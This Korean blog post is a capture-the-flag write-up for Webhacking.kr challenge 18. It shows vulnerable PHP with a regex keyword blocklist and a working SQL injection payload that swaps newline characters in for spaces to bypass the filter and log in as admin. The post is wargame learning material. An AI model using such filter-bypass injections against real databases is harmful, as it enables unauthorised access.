반응형

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 18</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; }
a { color:lightgreen; }
</style>
</head>
<body>
<br><br>
<center><h1>SQL INJECTION</h1>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td><input type=text name=no></td><td><input type=submit></td></tr>
</table>
</form>
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br>
<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

  if($result['id']=="guest") echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}
?>
</a>
<br><br><a href=?view_source=1>view-source</a>
</center>
</body>
</html>

 


<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

  if($result['id']=="guest") echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}
?>

 

no 파라미터에서 특정 패턴이 발견되면 "no hack"을 출력하고, 패턴이 발견되지 않으면 db에서 한 열을 가져와 result에 담고 result에 담긴 값에서 'id' 키의 값이 guest인지 admin인지에 따라 조건 처리한다.

 

그리고 admin 계정의 no 파라미터에 담긴 번호는 2이다.

 

 

no 파라미터에 1을 주면 hi guest가 뜬다.

 


풀이

 

SQL 논리적 연산을 이용하여 "admin" 계정이 해당하는 no=2의 열이 되도록 하면된다.

 

연산자의 우선 순위는 () -> NOT -> AND -> OR이다.

 

https://webhacking.kr/challenge/web-32/?no=2%0aor%0ano=2

 

위와 같이 입력하면 아래와 같은 쿼리문이 만들어진다.

 

select id from chall18 where id='guest' and no=2 or no=2

 

id가 'guest'이고 no가 '2'인 열은 없으므로 false이지만, false 또는 no=2 이므로 no가 2인 열이 존재하기에 True가 되어

false 또는 true는 연산 결과가 true가 되어 no가 2인 열이 반환되어 문제가 풀린다.

 

하지만 문제에서는 공백을 필터링하고 있으므로 %0a또는 %0d를 이용해 공백을 우회한다.

 


https://regex101.com/

반응형

'전쟁 > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-3  (0) 2022.07.13
[Webhacking.kr] old-27  (0) 2022.07.13
[webhacking.kr] old-34  (0) 2022.07.13
[Webhacking.kr] old-23  (0) 2022.07.13
[Webhacking.kr] old-20  (0) 2022.07.13

+ Recent posts